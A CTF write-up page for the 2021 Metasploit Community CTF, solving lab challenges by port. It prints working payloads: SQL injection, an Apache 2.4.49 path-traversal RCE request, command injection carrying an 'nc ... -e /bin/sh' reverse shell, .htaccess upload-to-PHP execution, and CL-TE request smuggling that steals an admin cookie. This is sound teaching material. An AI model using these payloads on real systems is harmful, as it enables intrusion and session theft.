👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Results
  • Writeups
  • Port 8080 [Web]
  • Port 10010 [Web]
  • Port 11111 [Web]
  • Port 12380 [Web]
  • Port 15000 [Pwn]
  • Port 15010 [Web]
  • Port 20000, 20001 [Network Forensics]
  • Port 20011 [Web]
  • Port 20055 [Web]
  • Port 20123 [Crypto]
  • Port 33337 [Web]
  • Port 35000 [Network Forensics]

Was this helpful?

  1. 2021

Metasploit Community CTF

Hosted by Rapid7 from 4 Dec to 7 Dec 2021

PreviousHTX Investigator's Challenge 2021NextMetaCTF CyberGames

Last updated 3 years ago

Was this helpful?

Results

We placed 7th - managed to solve all but one challenge!

The organizers wrote a nice summary of the CTF .

Writeups

Since this year's challenges were sorted by difficulty (the higher the port number, the harder the challenge), I'll also sort my writeups by port number.

I only included writeups for challenges that I solved - the rest were solved by my teammates!

Card
Category
Port

Web

8080

Web

10010

Web

11111

Web

12380

Pwn

15000

Web

15010

Network Forensics

20000, 20001

Web

20011

Web

20055

Crypto

20123

Web

33337

Network Forensics

35000

Port 8080 [Web]

This was a simple cookie manipulation challenge. Cookies are set at every stage of authentication, and the following cookies grant us access to /admin.

Cookie: username=admin; visited-main-page=true; made-an-account=true; authenticated-user=true; admin=true

Port 10010 [Web]

When we log into the application, we can see the following data in the page source. There seems to be a role attribute that we need to change, in order to escalate our privileges.

<script>
    var current_account = {
    "id":3,
    "username":"username",
    "password":"password",
    "role":"user",
    "created_at":"2021-12-04T05:12:11.986Z",
    "updated_at":"2021-12-04T05:12:11.986Z"};
</script>

Taking a closer look at the registration fields, we see that we are submitting an account object with the username and password attributes.

<div>
  <label for="account_username">Username</label>
  <input type="text" name="account[username]" id="account_username" />
</div>

<div>
  <label for="account_password">Password</label>
  <input type="password" name="account[password]" id="account_password" />
</div>

<div>
  <input type="submit" name="commit" value="Register" class="btn btn-primary" data-disable-with="Register" />
</div>

Submitting with account[role] = admin changes our role, granting us access to /admin.

Port 11111 [Web]

This was a simple SQL injection in the login. The payload username=admin&password=' or '1 grants us access.

Port 12380 [Web]

Our scan shows that this is a vulnerable version of Apache.

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-04 05:02 UTC
Nmap scan report for 172.17.17.69
Host is up (0.00049s latency).

PORT      STATE SERVICE VERSION
12380/tcp open  http    Apache httpd 2.4.49 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.49 (Debian)

We can exploit the RCE vulnerability to obtain the contents of the flag.

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Content-Length: 71

echo Content-Type: text/plain; echo; cat /secret/safe/flag.png | base64

Port 15000 [Pwn]

This was a TCP service that we could interact with via Netcat, and appears to be managing text files.

The "Create" option allows us to create a text file in the format NAME_SURNAME.txt. Validation is performed so that both fields are alphanumeric characters only.

The "Delete" option allows us to delete a file, similarly by entering the name and surname. However, after some fuzzing, we found that the surname wasn't properly validated.

Input: 4

Deleting a student with the following details:
Student name: 
Student surname: hihi.txt'
Invalid characters entered.

Found student file: _hihi.txt'.txt
Deleting...
Something went wrong! Contact your local administrator.

While an error message is shown, the deletion operation seems to have gone through.

After some testing, we found that there was an additional validation for the filename before going ahead with the deletion, but this appears to be insufficient as well, only matching the start of the filename.

For instance, 1_22.txt matches the created file 1_2.txt.

I then created the three files below and tested a wildcard in the filename.

5. abc abc
6. abc abcabc
7. abc abcdef

...

Found student file: abc_abc*.txt
Deleting...
Completed.

Surprisingly, all three files were deleted! It occurred to me that rm abc_abc*.txt would have given this result, so we could hypothesise that a command injection could be performed.

Input: 4   

Deleting a student with the following details:
Student name: name
Student surname: surname; nc 172.17.17.68 80 -e /bin/sh;
Invalid characters entered.

Found student file: name_surname; nc 172.17.17.68 80 -e /bin/sh;.txt
Deleting...

Indeed, we received a shell! From here we can obtain the MD5 of the flag.

md5sum /hidden_storage/5_of_clubs.png
0c3c3d0e090f792ba5cedc8a2fe72b36  /hidden_storage/5_of_clubs.png

Port 15010 [Web]

After registration, we get redirected to /users/<username>/files, where we can upload files.

By testing with two accounts, we will also find that username enumeration is possible at /users/<username>, since a valid username results in a 403 redirect to our own account, while an invalid username results in a 404 Not Found error.

Performing a username enumeration (using the dirb wordlist) yielded the following valid usernames:

  • admin

  • root

  • builder

  • employee

  • staff

We will also find that while validation is performed on the /users/<username> page, the application does not check whether we are the owner of the file when we request a file at /users/<username>/files/<filename>. This constitutes an IDOR vulnerability.

I then scanned each username for potential files, and eventually found /users/employee/files/fileadmin, which was the flag.

Port 20000, 20001 [Network Forensics]

This was a game called Clicktracer. The client connects to the game server at port 20001, and winning the game gives us flags!

Easy Mode

When playing in easy mode, the messages are logged to the console.

This was interesting, so I decided to spin up Wireshark to analyse the traffic.

The client-server communication appeared to be simple JSON messages. A client heartbeat is sent periodically to prevent the game from timing out, and the coordinates clicked by the user are sent as well. The server sends the client the coordinates of each target that is created.

We could beat the easy mode by implementing a custom client that "clicks" on each target that is received.

from pwn import *
import json

conn = remote('localhost', 20001)
conn.sendline(json.dumps({"StartGame":{"game_mode":"Easy"}}))
conn.sendline(json.dumps({"ClientHeartBeat": {}}))

while True:
    received = conn.recvline().decode()
    received = json.loads(received)
    if 'TargetCreated' in received:
        conn.sendline(json.dumps(
            {"ClientClick": {"x": received['TargetCreated']['x'], "y": received['TargetCreated']['y']}}
        ))
        conn.sendline(json.dumps({"ClientHeartBeat": {}}))

    print(received)

When we win the game, we get a URL to download the flag.

Hard Mode

This was more complex, but we could still pick up some patterns if we look hard enough.

Some kind of TLV protocol is used, but the general idea remains the same. By capturing the traffic a few times, we can infer the meaning of each field!

The client starts the game with the following bytes. This is observed as the first packet in the capture. Note that the 4th byte is the "command" byte, which indicates which type of message this is. In this message, the command byte is 0x20.

00 00 00 20 00 00 00 00  00 00 00 0c 00 02 00 01   ... .... ........
00 00 00 03 00 00 00 0c  00 02 4e 84 00 00 00 03   ........ ..N.....
00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01   ........ ........
00 00 00 01 

A client heartbeat is periodically sent (command 0x14).

00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01   ........ ........
00 00 00 01 

We could also observe that whenever we make a click, the following message is sent (command 0x2c). The only parts of this message that vary are the 4 bytes indicated by [ X ] and [ Y ] below - these are the coordinates that we clicked.

00 00 00 2c 00 00 00 00  00 00 00 0c 00 02 00 01   ...,.... ........
00 00 00 07 00 00 00 0c  00 02 4e e8 00 00 [ X ]   ........ ..N....j
00 00 00 0c 00 02 4e e9  00 00 [ Y ]               ......N. ....

Similarly, the server acknowledges our clicks (with either a target hit or target missed message).

00 00 00 2c 00 00 00 00  00 00 00 0c 00 02 00 01   ...,.... ........
00 00 00 0b 00 00 00 0c  00 02 50 14 00 00 [ X ]   ........ ..P.....
00 00 00 0c 00 02 50 15  00 00 [ Y ] 

The server sends the next coordinates (command 0x38).

00 00 00 38 00 00 00 00  00 00 00 0c 00 02 00 01   ...8.... ........
00 00 00 09 00 00 00 0c  00 02 4f 4c 00 00 00 02   ........ ..OL....
00 00 00 0c 00 02 4f 4d  00 00 [ X ] 00 00 00 0c   ......OM ...Y....
00 02 4f 4e 00 00 [ Y ]

We could implement a similar client that solves the hard mode.

from pwn import *
from textwrap import wrap

conn = remote("localhost", 20001)

START_GAME = bytes.fromhex(''.join('00 00 00 20 00 00 00 00  00 00 00 0c 00 02 00 01 00 00 00 03 00 00 00 0c  00 02 4e 84 00 00 00 03 00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01 00 00 00 01'.split()))
HEARTBEAT = bytes.fromhex(''.join('00 00 00 14 00 00 00 00  00 00 00 0c 00 02 00 01 00 00 00 01'.split()))

conn.send(START_GAME)
conn.send(HEARTBEAT)

while True:
	received = conn.recv()
	print(received)
	
	received = wrap(received.hex(), 2)
	print(received)
	
	if received[3] == '38':
		x = received[42:44]
		y = received[-2:]
		
		print(x, y)
		conn.send(bytes.fromhex(''.join(f'00 00 00 2c 00 00 00 00  00 00 00 0c 00 02 00 01  00 00 00 07 00 00 00 0c  00 02 4e e8 00 00 {x[0]} {x[1]} 00 00 00 0c 00 02 4e e9  00 00{y[0]} {y[1]}'.split())))

Port 20011 [Web]

This is an SSRF in the galleryUrl parameter. By requesting the /admin internally, we gain access to the admin console: /gallery?galleryUrl=http://localhost:20011/admin

Port 20055 [Web]

This wa PHP file upload challenge. We are provided with the following source code.

<?php
    $storage_dir = "file_uploads/";
    $full_storage_path = $storage_dir . basename($_FILES["fileName"]["name"]);
    $file_ext = pathinfo($full_storage_path, PATHINFO_EXTENSION);
    $file_ext = strtolower($file_ext);
    $blocked_ext = ["php", "php2", "php3", "php4", "php5", "php6", "php7", "php8", "phps", "pht", "phtm", "phar", "phtml", "pgif", "shtml", "html", "inc", "cgi", "asp", "aspx", "config", "pl", "py", "rs", "rb", "vbhtml", "vbtm", "vb", "phpt", "phtml"];
    echo($file_ext);
    if (in_array($file_ext, $blocked_ext, true) === true){
    echo("<html><h1>Blocked file extension detected! File upload blocked!</h1></html>");
    exit(1);
    }
    
    // Check file size
    if ($_FILES["fileName"]["size"] > 500000) {
    echo("<html><p>Sorry, your file is too large.</p></html>");
    exit(2);
    }
    
    // Move the uploaded file
    if (move_uploaded_file($_FILES["fileName"]["tmp_name"], $full_storage_path) === true){
    echo("<html><p>File has been uploaded successfully and is now available <a href='/$full_storage_path'>here</a>! But can you figure out how to execute it?</html>");
    }
    else{
    echo("<html><p>File was not successfully uploaded!</p></html>");
    }
?>

While most common PHP file extensions are blocked, .htaccess was not!

We could upload a .htaccess file to tell Apache to interpret some arbitrary file extension as a PHP file (e.g. .php16).

Content-Disposition: form-data; name="fileName"; filename=".htaccess"
Content-Type: text/html

AddHandler application/x-httpd-php .php16      # Say all file with extension .php16 will execute php

Then, uploading any file with the .php16 extension results in RCE, and we can download the flag..

Content-Disposition: form-data; name="fileName"; filename="test.php16"
Content-Type: text/html

<?php
$file = '/flag.png';

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>

Port 20123 [Crypto]

This was an SSH port, which we could access with root:root. In the /challenge directory, there was an encrypted flag and the Python program used to encrypt it.

import argparse
import random
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
DEBUG = False
UNKNOWN_ERROR = 1001


def get_salt(seed=1337):  # Need a seed so the salt stays the same
    try:
        generator = random.Random(seed)
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR


def get_token():
    try:
        generator = random.SystemRandom()
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR


def encrypt_flag(file):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=get_salt(),
        iterations=100000,
    )
    key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
    # Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
    fernet = Fernet(key)
    return fernet.encrypt(file)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Encrypt a file and save the output')
    parser.add_argument('input_file')
    parser.add_argument('output_file')

    parser.add_argument('--debug', action="store_true")
    args = parser.parse_args()
    if args.debug:
        DEBUG = True

    with open(args.input_file, "rb") as f:
        encrypted_file = encrypt_flag(f.read())

    with open(args.output_file, "wb") as f:
        f.write(encrypted_file)

In the history file, we could see the exact command that was used to encrypt it.

feef14e2d7f7:~/challenge# cat /root/.ash_history
python3 encrypt_flag.py 8_of_clubs.png encrypted_flag --debug
rm -rf 8_of_clubs.png

The vulnerability comes from the following part of the code:

def get_token():
    try:
        generator = random.SystemRandom()
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR

While random.SystemRandom() is cryptographically secure (it uses os.urandom()), the behaviour when the debug flag is passed is interesting.

Note that getstate() is called on the generator object, but the documentation clearly states that this will raise a NotImplementedError.

This script was run with --debug, resulting in getstate() being called and NotImplementedError being raised - so UNKNOWN_ERROR = 1001 is the token.

We would therefore be able to reconstruct the key and obtain the flag.

import argparse
import random
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
DEBUG = False
UNKNOWN_ERROR = 1001


def get_salt(seed=1337):  # Need a seed so the salt stays the same
    try:
        generator = random.Random(seed)
        if DEBUG:
            print(generator.getstate())
        return generator.randbytes(32)
    except:
        return UNKNOWN_ERROR


def get_token():
    return UNKNOWN_ERROR


def decrypt(flag):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=get_salt(),
        iterations=100000,
    )
    print(get_token())
    key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
    # Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
    fernet = Fernet(key)
    return fernet.decrypt(flag)


if __name__ == '__main__':
    out = decrypt(open('encrypted_flag', 'rb').read())
    with open('flag_out.png', 'wb') as f:
        f.write(out)

Port 33337 [Web]

In the Server response header, we could see that the Apache Traffic Server (ATS) 7.1.1 was used,

In the vulnerable version, even if the Transfer-Encoding header exists, the Content-Length header is used. This leads to a request smuggling vulnerability if the backend server processes the Transfer-Encoding header instead of the Content-Length header to decide where the request ends.

It was observed that whenever a request is made to /save.php, an entry is appended to a "log file", which contains the cookies and the value of the X-Access header.

Assuming that an admin visits the site, we could use a CL-TE request smuggling attack to direct the admin to /save.php.

Consider the following payload:

GET / HTTP/1.1
Host: threeofhearts.ctf.net
Content-Length: 30
Transfer-Encoding: chunked

0

GET /save.php HTTP/1.1

The ATS server processes the Content-Length header, and thus forwards the entire payload as a single request to the Nginx backend.

However, Nginx sees the Transfer-Encoding header and decides that the first request ends early. This is a full, complete request.

GET / HTTP/1.1
Host: threeofhearts.ctf.net
Content-Length: 30
Transfer-Encoding: chunked

This is then followed by a second request, which is not yet completed.

GET /save.php HTTP/1.1

When the admin visits the site (the third request), his request is appended to the above incomplete request - the second and third request thus are processed as one single request.

GET /save.php HTTP/1.1

...

Cookie: <Admin Cookies>
X-Access: <Admin X-Access Header>

Crucially, this request contains the admin's Cookie and X-Access headers.

In the log file, we can view the cookie:

Params:
Headers:
	X-Access: private
	Cookie: PHPSESSID=8m9k6s84bmdf270tbi81bpacc7

Then, visit private.php to view the flag.

GET /private.php HTTP/1.1
Host: threeofhearts.ctf.net
X-Access: private
Cookie: PHPSESSID=8m9k6s84bmdf270tbi81bpacc7

Port 35000 [Network Forensics]

We are provided with a PCAP file, containing some SMB traffic. There are some hints in the traffic:

What does this protocol use to align fields?

A lot of things can happen when structures are not properly aligned

But wait... is the actual value matter?

Not too much to find here... just regular backups

The content is not that useful as it looks like.

Optional padding follows the SMB_Data block of the SMB_COM_CLOSE. If present, the padding is used to align the SMB_Data.Bytes.Data block to a 16- or 32-bit boundary.

The padding byte in the SMB request exists in order to align the data that follows. But as the documentation specifies, the actual value of the padding byte doesn't matter.

Upon closer inspection, we will find that the padding in WriteX (1 byte padding) and Trans2 (2 byte padding) requests contain the exfiltrated data.

The following script parses the PCAP and extracts the relevant data.

from scapy.all import *

packets = rdpcap('capture.pcap')

padding_bytes = []

for packet in packets:
    packet[TCP].decode_payload_as(NBTSession)
    if 'SMBNegociate Protocol Request Header' in packet:
        
        smb_header = packet['SMBNegociate Protocol Request Header']
        if smb_header.Command == 0x2f and smb_header.Flags == 0x18:
            padding = bytes(smb_header)[59]
            padding_bytes.append(padding)

        elif smb_header.Command == 0x32 and smb_header.Flags == 0x18:
            padding = bytes(smb_header)[66:68]
            padding_bytes += list(padding)

print(bytes(padding_bytes))

The result is the flag URL!

Here is the URL you are looking for: /U,rhbjaaCeDseVRQzEO.YsgXXtoGKpvUEkZXaoxurhdYnIlpJiGszZwUktVWTS,DabQAhvbEDQaNL_Dhsq.pposWkG-DtQdIVXNEWd.KbtYXvCek_gJuzIrDtMHfITFL/flag.png

This is vulnerable to CVE-2018-8004, a request smuggling vulnerability, and I came across a nice writeup . The relevant patch we are looking at is - a lack of validation for Content-Length headers.

This prompted me to read up on the Microsoft for SMB requests. One of the details was quite interesting, since the hint talked about alignment.

here
here
documentation
9 of Diamonds
4 of Diamonds
5 of Diamonds
10 of Clubs
5 of Clubs
4 of Clubs
2 of Clubs, Black Joker
Ace of Hearts
9 of Spades
8 of Clubs
3 of Hearts
Ace of Diamonds
here
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)Exploit Database
Logo